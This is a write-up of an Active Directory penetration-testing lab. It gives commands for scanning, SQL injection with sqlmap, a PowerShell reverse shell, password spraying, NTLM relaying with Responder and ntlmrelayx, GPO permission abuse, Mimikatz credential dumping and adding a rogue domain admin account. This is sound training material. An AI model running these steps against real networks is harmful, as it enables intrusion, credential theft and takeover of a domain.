lkylabs v1

This is a detailed writeup of version 1 of lkys37en's Active Directory lab. It contains elements of network enumeration, domain enumeration, relaying and abusing configuration/misconfiguration of security controls.

Tools

• Empire

• Powershell

• Responder

• Bloodhound

• Powerview

• Mimikatz

• Sqlmap

• Nmap

• CrackMapExec

Network enumeration

nmap 10.7.12.11 10.7.12.12 10.7.12.13

Getting a foothold

Sqlmap

Sql injection on WEB01 10.7.12.12 leads to os-shell as lab\sqladmin in sqlmap

In os-shell, use oneliner ninshang Invoke-PowerShellTcp.ps1 to get a proper shell

Get a domain user

Get list of domain users with net users /domain

Alternative route: password spraying

https://www.youtube.com/watch?v=hBvrC4t2hn8 Generate a list of passwords https://github.com/asciimoo/exrex

python exrex.py "(Spring|Winter|Autumn|Fall|Summer)(20)1(78)!" > passwords.txt

msfconsole auxiliary/scanner/http/owa_login set pass_file passwords.txt set user_file usernames.txt set domain set rhost 10.7.12.10

Domain enumeration

Bloodhound Powerview

File share enumeration

Powerview net view \fs01 dir \fs01

Enumerate file shares. Find the \FS01.lab.local\Groupdata using dir \FS01.lab.local as sqladmin. You can also try net view \fs01

The file share contains a VPN file that can be used to open a L2 tunnel into the internal lab on 10.8.13.0/24 subnet

Relaying

Responder ntlmrelay CME?

Launch responder and capture netntlmv2 hashes that can be relayed. Responder should pick up two users responder -I tap0 -wrf

Make a list of target machines, those should be WS05 if you check permissions of the users that are picked up.

Use ntlmrelay to relay the hashes and execute the ninshang powershell oneliner. Keep a listener ready

ntlmrelayx.py -tf targets.txt -c 'powershell.exe blabla oneliner'

A shell should now be granted on the target box as the user who's hash was relayed (lab\DPayne)

GPO enumeration

Powerview

Enumerate GPOs with Get-NetGPOGroup to disover a GPO called MailServer-Config, which is interesting

Convert the SID of the Member to domain name

Convert-SidToName S-1-5-21-1704012399-894155344-4184019992-1154

This resolves to BUILTIN\Administrators Enumerate GPOs further, including the MailServer-Config

Get-NetGPO -DisplayName MailServer-Config | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

This shows that Server Admins has write permissions on the GPO.

ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute

We see that the group "Server Admins" has modification rights on this GPO. Let's trackthis back to which machines the GPO is applied to based on the GUID of the GPO.

Get-NetOU -GUID "{2259E5B0-3B49-4704-98BB-5A9581B54E8E}" | %{Get-NetComputer -ADSpath $_}

The result is merely MX01.lab.local, which indicates the GPO is applied on MX01 To view the GPO itself use: type "\\lab.local\sysvol\lab.local\Policies\{2259E5B0-3B49-4704-98BB-5A9581B54E8E}\MACHINE\Preferences\Groups\Groups.xml"

This GPO apparently adds a group to the builtin Administrators group on MX01. This can then be edited to instead add the "Server Admins" group.

To trigger the GPO for a specific machine use: Invoke-GpUpdate -Computer MX01 -Force

In a few minutes the GPO should be pushed to MX01 and local admin privileges should be granted to "Server Admins". It is then possible to use WinRM or other tricks to spawn a shell on the box.

Getting domain admin

Mimikatz

Now, execute Mimikatz to get the credentials of users on the box. This gets the credentials of BDavis, a highly privileged server admin. Spawn a shell as BDavis on the box Import Powerview on this box Now, execute Mimikatz on MX01 and discover another user and his/her plaintext credentials. This user is domain admin so spawn a new shell. An alternative here would be using token impersonation. Proceed to add yourself as a user on the domain and add yourself to the domain. net user chryzsh password /add /domain net group "Domain Admins" /add chryzsh /domain net group "Remote Desktop Users" /add lab\chryzsh /domain